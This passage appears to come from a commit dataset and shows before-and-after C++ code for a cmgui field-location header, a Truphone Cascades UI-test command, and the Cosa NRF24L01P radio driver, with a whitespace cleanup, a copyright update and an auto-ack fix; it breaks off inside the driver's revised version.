~Field_element_xi_location()\n\t{\n\t\tDEACCESS(FE_element)(&element);\n\t\tif (top_level_element)\n\t\t\tDEACCESS(FE_element)(&top_level_element);\n\t}\n\n   virtual Field_location *clone()\n   {\n   \treturn new Field_element_xi_location(element, xi, time, top_level_element);\n   }\n\n\tint get_dimension() const\n\t{\n\t\treturn dimension;\n\t}\n\n\tstruct FE_element *get_element()\n\t{\n\t\treturn element;\n\t}\n\n\tconst FE_value *get_xi() const\n\t{\n\t\treturn xi;\n\t}\n\n\tFE_element *get_top_level_element()\n\t{\n\t\treturn top_level_element;\n\t}\n\n\tint set_element_xi(struct FE_element *element_in,\n\t\tint number_of_xi_in, const FE_value *xi_in,\n\t\tstruct FE_element *top_level_element_in = NULL);\n};\n\nclass Field_node_location : public Field_location\n{\nprivate:\n\tstruct FE_node *node;\n\npublic:\n\tField_node_location(struct FE_node *node,\n\t\tFE_value time = 0, int number_of_derivatives = 0):\n\t\tField_location(time, number_of_derivatives),\n\t\tnode(ACCESS(FE_node)(node))\n\t{\n\t}\n\t\n   ~Field_node_location()\n\t{\n   \tDEACCESS(FE_node)(&node);\n\t}\n\n   virtual Field_location *clone()\n   {\n   \treturn new Field_node_location(node, time);\n   }\n\n\tFE_node *get_node()\n\t{\n\t\treturn node;\n\t}\n\n\tvoid set_node(FE_node *node_in)\n\t{\n\t\tREACCESS(FE_node)(&node, node_in);\n\t}\n};\n\nclass Field_time_location : public Field_location\n{\npublic:\n\tField_time_location(FE_value time = 0, int number_of_derivatives = 0):\n\t\tField_location(time, number_of_derivatives)\n\t{\n\t}\n\n   ~Field_time_location()\n\t{\n\t}\n\n   virtual Field_location *clone()\n   {\n   \treturn new Field_time_location(time);\n   }\n};\n\nclass Field_coordinate_location : public Field_location\n{\nprivate:\n\tCmiss_field *reference_field;\n\tint number_of_values;\n\tFE_value *values;\n\tFE_value *derivatives;\n\npublic:\n\tField_coordinate_location(Cmiss_field *reference_field_in,\n\t\tint number_of_values_in, const FE_value* values_in, FE_value time = 0,\n\t\tint number_of_derivatives_in = 0, const FE_value* derivatives_in = NULL);\n\t\n\t\/\/ blank constructor - caller should call set_field_values & check valid return\n\tField_coordinate_location(FE_value time = 0) :\n\t\tField_location(time),\n\t\treference_field(0),\n\t\tnumber_of_values(0),\n\t\tvalues(0),\n\t\tderivatives(0)\n\t{\n\t}\n\n\t~Field_coordinate_location();\n\n   virtual Field_location *clone()\n   {\n   \treturn new Field_coordinate_location(reference_field, number_of_values, values, time, number_of_derivatives, derivatives);\n   }\n\n\tCmiss_field *get_reference_field()\n\t{\n\t\treturn reference_field;\n\t}\n\n\tint get_number_of_values()\n\t{\n\t\treturn number_of_values;\n\t}\n\n\tFE_value *get_values()\n\t{\n\t\treturn values;\n\t}\n\n\tint set_field_values(Cmiss_field_id reference_field_in,\n\t\tint number_of_values_in, const FE_value *values_in);\n\n\tint set_values_for_location(Cmiss_field *field,\n\t\tconst FE_value *values);\n\n};\n\n#endif \/* !defined (__FIELD_LOCATION_HPP__) *\/\n<commit_msg>Tidying up spaces for tabs.  https:\/\/tracker.physiomeproject.org\/show_bug.cgi?id=3535<commit_after>\/\/******************************************************************************\n\/\/ FILE : field_location.hpp\n\/\/\n\/\/ LAST MODIFIED : 9 August 2006\n\/\/\n\/\/ DESCRIPTION :\n\/\/ An class hierarchy for specifying locations at which to evaluate fields.\n\/\/ These are transient objects used internally in Computed_fields and so do not\n\/\/ access, copy or allocate their members.\n\/\/==============================================================================\n\/* ***** BEGIN LICENSE BLOCK *****\n * Version: MPL 1.1\/GPL 2.0\/LGPL 2.1\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 1.1 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http:\/\/www.mozilla.org\/MPL\/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is cmgui.\n *\n * The Initial Developer of the Original Code is\n * Auckland Uniservices Ltd, Auckland, New Zealand.\n * Portions created by the Initial Developer are Copyright (C) 2006\n * the Initial Developer. All Rights Reserved.\n *\n * Contributor(s):\n *\n * Alternatively, the contents of this file may be used under the terms of\n * either the GNU General Public License Version 2 or later (the \"GPL\"), or\n * the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n * in which case the provisions of the GPL or the LGPL are applicable instead\n * of those above. If you wish to allow use of your version of this file only\n * under the terms of either the GPL or the LGPL, and not to allow others to\n * use your version of this file under the terms of the MPL, indicate your\n * decision by deleting the provisions above and replace them with the notice\n * and other provisions required by the GPL or the LGPL. If you do not delete\n * the provisions above, a recipient may use your version of this file under\n * the terms of any one of the MPL, the GPL or the LGPL.\n *\n * ***** END LICENSE BLOCK ***** *\/\n#if !defined (__FIELD_LOCATION_HPP__)\n#define __FIELD_LOCATION_HPP__\n\n#include \"computed_field\/computed_field.h\"\n#include \"general\/value.h\"\n\nstruct Cmiss_field;\n\nclass Field_location\n{\nprotected:\n\tFE_value time;\n\tint number_of_derivatives;\n\n\tField_location(FE_value time = 0.0, int number_of_derivatives = 0) :\n\t\ttime(time), number_of_derivatives(number_of_derivatives)\n\t{}\n\npublic:\n\n\t\/* Abstract virtual destructor declaration as we will not make objects of this\n\t\tparent class *\/\n\tvirtual ~Field_location() = 0;\n\n\tvirtual Field_location *clone() = 0;\n\n\tFE_value get_time()\n\t{\n\t\treturn time;\n\t}\n\n\tvoid set_time(FE_value new_time)\n\t{\n\t\ttime = new_time;\n\t}\n\n\tint get_number_of_derivatives()\n\t{\n\t\treturn number_of_derivatives;\n\t}\n\n\t\/** use with care in field evaluation & restore after evaluating with *\/\n\tvoid set_number_of_derivatives(int number_of_derivatives_in)\n\t{\n\t\tnumber_of_derivatives = number_of_derivatives_in;\n\t}\n\n\tvirtual int set_values_for_location(Cmiss_field * \/*field*\/,\n\t\tconst FE_value * \/*values*\/)\n\t{\n\t\t\/* Default is that the location can't set the values *\/\n\t\treturn 0;\n\t}\n};\n\nclass Field_element_xi_location : public Field_location\n{\nprivate:\n\tstruct FE_element *element;\n\tint dimension;\n\tFE_value xi[MAXIMUM_ELEMENT_XI_DIMENSIONS];\n\tstruct FE_element *top_level_element;\n\npublic:\n\tField_element_xi_location(struct FE_element *element_in,\n\t\t\tconst FE_value *xi_in = NULL, FE_value time_in = 0.0,\n\t\t\tstruct FE_element *top_level_element_in = NULL, int number_of_derivatives_in = 0) :\n\t\tField_location(time_in, number_of_derivatives_in),\n\t\telement(element_in ? ACCESS(FE_element)(element_in) : 0),\n\t\tdimension(element_in ? get_FE_element_dimension(element_in) : 0),\n\t\ttop_level_element(top_level_element_in ? ACCESS(FE_element)(top_level_element_in) : 0)\n\t{\n\t\tif (xi_in)\n\t\t{\n\t\t\tfor (int i = 0; i < dimension; i++)\n\t\t\t{\n\t\t\t\txi[i] = xi_in[i];\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfor (int i = 0; i < dimension; i++)\n\t\t\t{\n\t\t\t\txi[i] = 0.0;\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ blank constructor - caller should call set_element_xi & check valid return\n\tField_element_xi_location(FE_value time_in = 0.0, int number_of_derivatives_in = 0) :\n\t\tField_location(time_in, number_of_derivatives_in),\n\t\telement(0),\n\t\tdimension(0),\n\t\ttop_level_element(0)\n\t{\n\t}\n\n\t~Field_element_xi_location()\n\t{\n\t\tDEACCESS(FE_element)(&element);\n\t\tif (top_level_element)\n\t\t\tDEACCESS(FE_element)(&top_level_element);\n\t}\n\n\tvirtual Field_location *clone()\n\t{\n\t\treturn new Field_element_xi_location(element, xi, time, top_level_element);\n\t}\n\n\tint get_dimension() const\n\t{\n\t\treturn dimension;\n\t}\n\n\tstruct FE_element *get_element()\n\t{\n\t\treturn element;\n\t}\n\n\tconst FE_value *get_xi() const\n\t{\n\t\treturn xi;\n\t}\n\n\tFE_element *get_top_level_element()\n\t{\n\t\treturn top_level_element;\n\t}\n\n\tint set_element_xi(struct FE_element *element_in,\n\t\tint number_of_xi_in, const FE_value *xi_in,\n\t\tstruct FE_element *top_level_element_in = NULL);\n};\n\nclass Field_node_location : public Field_location\n{\nprivate:\n\tstruct FE_node *node;\n\npublic:\n\tField_node_location(struct FE_node *node,\n\t\tFE_value time = 0, int number_of_derivatives = 0):\n\t\tField_location(time, number_of_derivatives),\n\t\tnode(ACCESS(FE_node)(node))\n\t{\n\t}\n\n\t~Field_node_location()\n\t{\n\t\tDEACCESS(FE_node)(&node);\n\t}\n\n\tvirtual Field_location *clone()\n\t{\n\t\treturn new Field_node_location(node, time);\n\t}\n\n\tFE_node *get_node()\n\t{\n\t\treturn node;\n\t}\n\n\tvoid set_node(FE_node *node_in)\n\t{\n\t\tREACCESS(FE_node)(&node, node_in);\n\t}\n};\n\nclass Field_time_location : public Field_location\n{\npublic:\n\tField_time_location(FE_value time = 0, int number_of_derivatives = 0):\n\t\tField_location(time, number_of_derivatives)\n\t{\n\t}\n\n\t~Field_time_location()\n\t{\n\t}\n\n\tvirtual Field_location *clone()\n\t{\n\t\treturn new Field_time_location(time);\n\t}\n};\n\nclass Field_coordinate_location : public Field_location\n{\nprivate:\n\tCmiss_field *reference_field;\n\tint number_of_values;\n\tFE_value *values;\n\tFE_value *derivatives;\n\npublic:\n\tField_coordinate_location(Cmiss_field *reference_field_in,\n\t\tint number_of_values_in, const FE_value* values_in, FE_value time = 0,\n\t\tint number_of_derivatives_in = 0, const FE_value* derivatives_in = NULL);\n\n\t\/\/ blank constructor - caller should call set_field_values & check valid return\n\tField_coordinate_location(FE_value time = 0) :\n\t\tField_location(time),\n\t\treference_field(0),\n\t\tnumber_of_values(0),\n\t\tvalues(0),\n\t\tderivatives(0)\n\t{\n\t}\n\n\t~Field_coordinate_location();\n\n\tvirtual Field_location *clone()\n\t{\n\t\treturn new Field_coordinate_location(reference_field, number_of_values, values, time, number_of_derivatives, derivatives);\n\t}\n\n\tCmiss_field *get_reference_field()\n\t{\n\t\treturn reference_field;\n\t}\n\n\tint get_number_of_values()\n\t{\n\t\treturn number_of_values;\n\t}\n\n\tFE_value *get_values()\n\t{\n\t\treturn values;\n\t}\n\n\tint set_field_values(Cmiss_field_id reference_field_in,\n\t\tint number_of_values_in, const FE_value *values_in);\n\n\tint set_values_for_location(Cmiss_field *field,\n\t\tconst FE_value *values);\n\n};\n\n#endif \/* !defined (__FIELD_LOCATION_HPP__) *\/\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>minor code edits, mostly comments<commit_after><|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright 2013 Truphone\n *\/\n#include \"SegmentCommand.h\"\n\n#include <bb\/cascades\/AbstractPane>\n#include <bb\/cascades\/Application>\n#include <bb\/cascades\/SegmentedControl>\n#include <bb\/cascades\/Option>\n#include <QString>\n#include <QList>\n#include <QObject>\n\n#include \"Connection.h\"\n\nusing bb::cascades::SegmentedControl;\nusing bb::cascades::Option;\nusing bb::cascades::Application;\n\nnamespace truphone\n{\nnamespace test\n{\nnamespace cascades\n{\n    const QString SegmentCommand::CMD_NAME = \"segment\";\n\n    SegmentCommand::SegmentCommand(Connection * const socket,\n                               QObject* parent)\n        : Command(parent),\n          client(socket)\n    {\n    }\n\n    SegmentCommand::~SegmentCommand()\n    {\n    }\n\n    bool SegmentCommand::executeCommand(QStringList * const arguments)\n    {\n        bool ret = false;\n        if (arguments->size() == 3)\n        {\n            SegmentedControl * const obj =\n                    Application::instance()->scene()->findChild<SegmentedControl*>\n                        (arguments->first());\n            arguments->removeFirst();\n            if (obj)\n            {\n                const QString mode = arguments->first();\n                arguments->removeFirst();\n                if (mode == \"index\")\n                {\n                    const int optionCount = obj->count();\n                    bool ok = false;\n                    const int index = arguments->first().toUInt(&ok);\n                    if (ok && index < optionCount)\n                    {\n                        obj->setSelectedIndex(index);\n                        ret = true;\n                    }\n                    else\n                    {\n                        this->client->write(\"ERROR: Index isn't a valid number\\r\\n\");\n                    }\n                }\n                else if (mode == \"option\")\n                {\n                    const int optionCount = obj->count();\n                    for (int i = 0 ; (i < optionCount) and (not ret) ; i++)\n                    {\n                        const Option * const option = obj->at(i);\n                        if (option)\n                        {\n                            \/\/ basic - the text is set\n                            if (option->text() == arguments->first())\n                            {\n                                obj->setSelectedIndex(i);\n                                ret = true;\n                            }\n                        }\n                    }\n                    if (not ret)\n                    {\n                        this->client->write(\"ERROR: Couldn't find the option\\r\\n\");\n                    }\n                }\n                else\n                {\n                    this->client->write(\"ERROR: Invalid selection method, use index or option\\r\\n\");\n                }\n            }\n            else\n            {\n                this->client->write(\"ERROR: Couldn't find the segment\\r\\n\");\n            }\n        }\n        else\n        {\n            this->client->write(\"ERROR: Need to specify a segment and an option\\r\\n\");\n        }\n        return ret;\n    }\n\n    void SegmentCommand::showHelp()\n    {\n        this->client->write(\"> segment <segment> <index | option> <option text>\\r\\n\");\n        this->client->write(\"> i.e. segment mySegment index 1\\r\\n\");\n        this->client->write(\"> i.e. segment mySegment option option5\\r\\n\");\n        this->client->write(\"Select a segment option\\r\\n\");\n    }\n}  \/\/ namespace cascades\n}  \/\/ namespace test\n}  \/\/ namespace truphone\n<commit_msg>Update the copyright to this year.<commit_after>\/**\n * Copyright 2014 Truphone\n *\/\n#include \"SegmentCommand.h\"\n\n#include <bb\/cascades\/AbstractPane>\n#include <bb\/cascades\/Application>\n#include <bb\/cascades\/SegmentedControl>\n#include <bb\/cascades\/Option>\n#include <QString>\n#include <QList>\n#include <QObject>\n\n#include \"Connection.h\"\n\nusing bb::cascades::SegmentedControl;\nusing bb::cascades::Option;\nusing bb::cascades::Application;\n\nnamespace truphone\n{\nnamespace test\n{\nnamespace cascades\n{\n    const QString SegmentCommand::CMD_NAME = \"segment\";\n\n    SegmentCommand::SegmentCommand(Connection * const socket,\n                               QObject* parent)\n        : Command(parent),\n          client(socket)\n    {\n    }\n\n    SegmentCommand::~SegmentCommand()\n    {\n    }\n\n    bool SegmentCommand::executeCommand(QStringList * const arguments)\n    {\n        bool ret = false;\n        if (arguments->size() == 3)\n        {\n            SegmentedControl * const obj =\n                    Application::instance()->scene()->findChild<SegmentedControl*>\n                        (arguments->first());\n            arguments->removeFirst();\n            if (obj)\n            {\n                const QString mode = arguments->first();\n                arguments->removeFirst();\n                if (mode == \"index\")\n                {\n                    const int optionCount = obj->count();\n                    bool ok = false;\n                    const int index = arguments->first().toUInt(&ok);\n                    if (ok && index < optionCount)\n                    {\n                        obj->setSelectedIndex(index);\n                        ret = true;\n                    }\n                    else\n                    {\n                        this->client->write(\"ERROR: Index isn't a valid number\\r\\n\");\n                    }\n                }\n                else if (mode == \"option\")\n                {\n                    const int optionCount = obj->count();\n                    for (int i = 0 ; (i < optionCount) and (not ret) ; i++)\n                    {\n                        const Option * const option = obj->at(i);\n                        if (option)\n                        {\n                            \/\/ basic - the text is set\n                            if (option->text() == arguments->first())\n                            {\n                                obj->setSelectedIndex(i);\n                                ret = true;\n                            }\n                        }\n                    }\n                    if (not ret)\n                    {\n                        this->client->write(\"ERROR: Couldn't find the option\\r\\n\");\n                    }\n                }\n                else\n                {\n                    this->client->write(\"ERROR: Invalid selection method, use index or option\\r\\n\");\n                }\n            }\n            else\n            {\n                this->client->write(\"ERROR: Couldn't find the segment\\r\\n\");\n            }\n        }\n        else\n        {\n            this->client->write(\"ERROR: Need to specify a segment and an option\\r\\n\");\n        }\n        return ret;\n    }\n\n    void SegmentCommand::showHelp()\n    {\n        this->client->write(\"> segment <segment> <index | option> <option text>\\r\\n\");\n        this->client->write(\"> i.e. segment mySegment index 1\\r\\n\");\n        this->client->write(\"> i.e. segment mySegment option option5\\r\\n\");\n        this->client->write(\"Select a segment option\\r\\n\");\n    }\n}  \/\/ namespace cascades\n}  \/\/ namespace test\n}  \/\/ namespace truphone\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file Cosa\/Wireless\/Driver\/NRF24L01P.cpp\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2013, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Wireless\/Driver\/NRF24L01P.hh\"\n#if !defined(BOARD_ATTINYX5)\n\n#include \"Cosa\/Power.hh\"\n#include \"Cosa\/RTC.hh\"\n#include <util\/delay.h>\n\nNRF24L01P::NRF24L01P(uint16_t net, uint8_t dev,\n\t\t     Board::DigitalPin csn, \n\t\t     Board::DigitalPin ce, \n\t\t     Board::ExternalInterruptPin irq) :\n  SPI::Driver(csn, SPI::ACTIVE_LOW, SPI::DIV4_CLOCK, 0, SPI::MSB_ORDER, &m_irq),\n  Wireless::Driver(net, dev),\n  m_ce(ce, 0),\n  m_irq(irq, ExternalInterrupt::ON_FALLING_MODE, this),\n  m_status(0),\n  m_state(POWER_DOWN_STATE),\n  m_trans(0),\n  m_retrans(0),\n  m_drops(0)\n{\n  set_channel(64);\n}\n\nuint8_t \nNRF24L01P::read(Command cmd)\n{\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(cmd);\n      uint8_t res = spi.transfer(0);\n    spi.end();\n  spi.release();\n  return (res);\n}\n\nvoid \nNRF24L01P::read(Command cmd, void* buf, size_t size)\n{\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(cmd);\n      spi.read(buf, size);\n    spi.end();\n  spi.release();\n}\n\nvoid \nNRF24L01P::write(Command cmd)\n{\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(cmd);\n    spi.end();\n  spi.release();\n}\n\nvoid \nNRF24L01P::write(Command cmd, uint8_t data)\n{\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(cmd);\n      spi.transfer(data);\n    spi.end();\n  spi.release();\n}\n\nvoid \nNRF24L01P::write(Command cmd, const void* buf, size_t size)\n{\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(cmd);\n      spi.write(buf, size);\n    spi.end();\n  spi.release();\n}\n\nNRF24L01P::status_t\nNRF24L01P::read_status()\n{\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(NOP);\n    spi.end();\n  spi.release();\n  return (m_status);\n}\n\nvoid\nNRF24L01P::powerup()\n{\n  if (m_state != POWER_DOWN_STATE) return;\n  m_ce.clear();\n\n  \/\/ Setup configuration for powerup and clear interrupts\n  write(CONFIG, (_BV(EN_CRC) | _BV(CRCO)  | _BV(PWR_UP)));\n  _delay_ms(Tpd2stby_ms);\n  m_state = STANDBY_STATE;\n\n  \/\/ Flush status\n  write(STATUS, (_BV(RX_DR)  | _BV(TX_DS) | _BV(MAX_RT)));\n  write(FLUSH_TX);\n  write(FLUSH_RX);\n}\n\nvoid\nNRF24L01P::set_receiver_mode()\n{\n  \/\/ Check already in receive mode\n  if (m_state == RX_STATE) return;\n\n  \/\/ Configure primary receiver mode\n  write(CONFIG, (_BV(EN_CRC) | _BV(CRCO) | _BV(PWR_UP) | _BV(PRIM_RX)));\n  m_ce.set();\n  if (m_state == STANDBY_STATE) _delay_us(Tstby2a_us);\n  m_state = RX_STATE;\n}\n\nvoid\nNRF24L01P::set_transmit_mode(uint8_t dest)\n{\n  \/\/ Setup primary transmit address\n  addr_t tx_addr(m_addr.network, dest);\n  write(TX_ADDR, &tx_addr, sizeof(tx_addr));\n\n  \/\/ Trigger the transmitter mode\n  if (m_state != TX_STATE) {\n    m_ce.clear();\n    write(CONFIG, (_BV(EN_CRC) | _BV(CRCO) | _BV(PWR_UP)));\n    m_ce.set();\n  }\n\n  \/\/ Wait for the transmitter to become active\n  if (m_state == STANDBY_STATE) _delay_us(Tstby2a_us);\n  m_state = TX_STATE;\n}\n\nvoid\nNRF24L01P::standby()\n{\n  m_ce.clear();\n  _delay_us(Thce_us);\n  m_state = STANDBY_STATE;\n}\n\nvoid\nNRF24L01P::powerdown()\n{\n  delay(32);\n  m_ce.clear();\n  write(CONFIG, (_BV(EN_CRC) | _BV(CRCO)));\n  m_state = POWER_DOWN_STATE;\n}\n\nbool \nNRF24L01P::begin(const void* config)\n{\n  UNUSED(config);\n\n  \/\/ Setup hardware features, channel, bitrate, retransmission, dynamic payload\n  write(FEATURE, (_BV(EN_DPL) | _BV(EN_ACK_PAY) | _BV(EN_DYN_ACK)));\n  write(RF_CH, m_channel);\n  write(RF_SETUP, (RF_DR_2MBPS | RF_PWR_0DBM));\n  write(SETUP_RETR, ((DEFAULT_ARD << ARD) | (DEFAULT_ARC << ARC)));\n  write(DYNPD, DPL_PA);\n\n  \/\/ Setup hardware receive pipes address; network (16-bit), device (8-bit)\n  \/\/ P0: auto-acknowledge (see set_transmit_mode)\n  \/\/ P1: node address<network:device> with auto-acknowledge\n  \/\/ P2: broadcast<network:0>\n  addr_t rx_addr = m_addr;\n  write(SETUP_AW, AW_3BYTES);\n  write(RX_ADDR_P1, &rx_addr, sizeof(rx_addr));\n  write(RX_ADDR_P2, BROADCAST);\n  write(EN_RXADDR, (_BV(ERX_P2) | _BV(ERX_P1)));\n  write(EN_AA, (_BV(ENAA_P1)));\n  \n  \/\/ Ready to go\n  powerup();\n  spi.attach(this);\n  m_irq.enable();\n  return (true);\n}\n\nint\nNRF24L01P::send(uint8_t dest, uint8_t port, const iovec_t* vec)\n{\n  \/\/ Sanity check the payload size\n  if (vec == NULL) return (-1);\n  size_t len = iovec_size(vec);\n  if (len > PAYLOAD_MAX) return (-1);\n\n  \/\/ Setting transmit destination\n  set_transmit_mode(dest);\n\n  \/\/ Write source address and payload to the transmit fifo\n  \/\/ Fix: Allow larger payload(30*3) with fragmentation\n  spi.acquire(this);\n    spi.begin();\n      uint8_t command = ((dest != BROADCAST) \n\t\t\t ? W_TX_PAYLOAD \n\t\t\t : W_TX_PAYLOAD_NO_ACK);\n      m_status = spi.transfer(command);\n      spi.transfer(m_addr.device);\n      spi.transfer(port);\n      spi.write(vec);\n    spi.end();\n  spi.release();\n  m_trans += 1;\n\n  \/\/ Check for auto-acknowledge pipe(0), and address setup and enable\n  if (dest != BROADCAST) {\n    addr_t tx_addr(m_addr.network, dest);\n    write(RX_ADDR_P0, &tx_addr, sizeof(tx_addr));  \n    write(EN_RXADDR, (_BV(ERX_P2) | _BV(ERX_P1) | _BV(ERX_P0)));\n  }\n\n  \/\/ Wait for transmission\n  do {\n    yield();\n    read_status();\n  } while (!m_status.tx_ds && !m_status.max_rt);\n  bool data_sent = m_status.tx_ds;\n\n  \/\/ Check for auto-acknowledge pipe(0) disable\n  if (dest != BROADCAST) {\n    write(EN_RXADDR, (_BV(ERX_P2) | _BV(ERX_P1)));\n  }\n\n  \/\/ Reset status bits and read retransmission counter and update\n  write(STATUS, _BV(MAX_RT) | _BV(TX_DS));\n  observe_tx_t observe = read_observe_tx();\n  m_retrans += observe.arc_cnt;\n\n  \/\/ Check that the message was delivered\n  if (data_sent) return (len);\n\n  \/\/ Failed to delivery\n  write(FLUSH_TX);\n  m_drops += 1;\n  return (-2);\n}\n\nint \nNRF24L01P::send(uint8_t dest, uint8_t port, const void* buf, size_t len)\n{\n  iovec_t vec[2];\n  iovec_t* vp = vec;\n  iovec_arg(vp, buf, len);\n  iovec_end(vp);\n  return (send(dest, port, vec));\n}\n\nbool\nNRF24L01P::available()\n{\n  \/\/ Check the receiver fifo\n  if (read_fifo_status().rx_empty) return (false);\n\n  \/\/ Sanity check the size of the payload. Might require a flush\n  if (read(R_RX_PL_WID) <= DEVICE_PAYLOAD_MAX) return (true);\n  write(FLUSH_RX);\n  return (false);\n}\n\nint\nNRF24L01P::recv(uint8_t& src, uint8_t& port, \n\t\tvoid* buf, size_t size, \n\t\tuint32_t ms)\n{\n  \/\/ Run in receiver mode\n  set_receiver_mode();\n\n  \/\/ Check if there is data available on any pipe\n  uint32_t start = RTC::millis();\n  while (!available()) {\n    if ((ms != 0) && (RTC::since(start) > ms)) return (-2);\n    yield();\n  } \n  m_dest = (m_status.rx_p_no == 1 ? m_addr.device : BROADCAST);\n  write(STATUS, _BV(RX_DR));\n  \n  \/\/ Check for payload error from device (Tab. 20, pp. 51, R_RX_PL_WID)\n  uint8_t count = read(R_RX_PL_WID) - 2;\n  if ((count > PAYLOAD_MAX) || (count > size)) {\n    write(FLUSH_RX);\n    return (-1);\n  }\n\n  \/\/ Read the source address, port and payload\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(R_RX_PAYLOAD);\n      src = spi.transfer(0);\n      port = spi.transfer(0);\n      spi.read(buf, count);\n    spi.end();\n  spi.release();\n  return (count);\n}\n\nvoid \nNRF24L01P::set_output_power_level(int8_t dBm)\n{\n  uint8_t pwr = RF_PWR_0DBM;\n  if      (dBm < -12) pwr = RF_PWR_18DBM;\n  else if (dBm < -6)  pwr = RF_PWR_12DBM; \n  else if (dBm < 0)   pwr = RF_PWR_6DBM;\n  write(RF_SETUP, (RF_DR_2MBPS | pwr));\n}\n\n\/\/ Output operators for bitfield status registers\nIOStream& operator<<(IOStream& outs, NRF24L01P::status_t status)\n{\n  outs << PSTR(\"RX_DR = \") << status.rx_dr \n       << PSTR(\", TX_DS = \") << status.tx_ds\n       << PSTR(\", MAX_RT = \") << status.max_rt\n       << PSTR(\", RX_P_NO = \") << status.rx_p_no\n       << PSTR(\", TX_FULL = \") << status.tx_full;\n  return (outs);\n}\n\nIOStream& operator<<(IOStream& outs, NRF24L01P::observe_tx_t observe)\n{\n  outs << PSTR(\"PLOS_CNT = \") << observe.plos_cnt\n       << PSTR(\", ARC_CNT = \") << observe.arc_cnt;\n  return (outs);\n}\n\nIOStream& operator<<(IOStream& outs, NRF24L01P::fifo_status_t fifo)\n{\n  outs << PSTR(\"RX_EMPTY = \") << fifo.rx_empty\n       << PSTR(\", RX_FULL = \") << fifo.rx_full\n       << PSTR(\", TX_EMPTY = \") << fifo.tx_empty \n       << PSTR(\", TX_FULL = \") << fifo.tx_full \n       << PSTR(\", TX_REUSE = \") << fifo.tx_reuse;\n  return (outs);\n}\n\n#endif\n<commit_msg>Fixed missing auto-ack on pipe#0.<commit_after>\/**\n * @file Cosa\/Wireless\/Driver\/NRF24L01P.cpp\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2013, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Wireless\/Driver\/NRF24L01P.hh\"\n#if !defined(BOARD_ATTINYX5)\n\n#include \"Cosa\/Power.hh\"\n#include \"Cosa\/RTC.hh\"\n#include <util\/delay.h>\n\nNRF24L01P::NRF24L01P(uint16_t net, uint8_t dev,\n\t\t     Board::DigitalPin csn, \n\t\t     Board::DigitalPin ce, \n\t\t     Board::ExternalInterruptPin irq) :\n  SPI::Driver(csn, SPI::ACTIVE_LOW, SPI::DIV4_CLOCK, 0, SPI::MSB_ORDER, &m_irq),\n  Wireless::Driver(net, dev),\n  m_ce(ce, 0),\n  m_irq(irq, ExternalInterrupt::ON_FALLING_MODE, this),\n  m_status(0),\n  m_state(POWER_DOWN_STATE),\n  m_trans(0),\n  m_retrans(0),\n  m_drops(0)\n{\n  set_channel(64);\n}\n\nuint8_t \nNRF24L01P::read(Command cmd)\n{\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(cmd);\n      uint8_t res = spi.transfer(0);\n    spi.end();\n  spi.release();\n  return (res);\n}\n\nvoid \nNRF24L01P::read(Command cmd, void* buf, size_t size)\n{\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(cmd);\n      spi.read(buf, size);\n    spi.end();\n  spi.release();\n}\n\nvoid \nNRF24L01P::write(Command cmd)\n{\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(cmd);\n    spi.end();\n  spi.release();\n}\n\nvoid \nNRF24L01P::write(Command cmd, uint8_t data)\n{\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(cmd);\n      spi.transfer(data);\n    spi.end();\n  spi.release();\n}\n\nvoid \nNRF24L01P::write(Command cmd, const void* buf, size_t size)\n{\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(cmd);\n      spi.write(buf, size);\n    spi.end();\n  spi.release();\n}\n\nNRF24L01P::status_t\nNRF24L01P::read_status()\n{\n  spi.acquire(this);\n    spi.begin();\n      m_status = spi.transfer(NOP);\n    spi.end();\n  spi.release();\n  return (m_status);\n}\n\nvoid\nNRF24L01P::powerup()\n{\n  if (m_state != POWER_DOWN_STATE) return;\n  m_ce.clear();\n\n  \/\/ Setup configuration for powerup and clear interrupts\n  write(CONFIG, (_BV(EN_CRC) | _BV(CRCO)  | _BV(PWR_UP)));\n  _delay_ms(Tpd2stby_ms);\n  m_state = STANDBY_STATE;\n\n  \/\/ Flush status\n  write(STATUS, (_BV(RX_DR)  | _BV(TX_DS) | _BV(MAX_RT)));\n  write(FLUSH_TX);\n  write(FLUSH_RX);\n}\n\nvoid\nNRF24L01P::set_receiver_mode()\n{\n  \/\/ Check already in receive mode\n  if (m_state == RX_STATE) return;\n\n 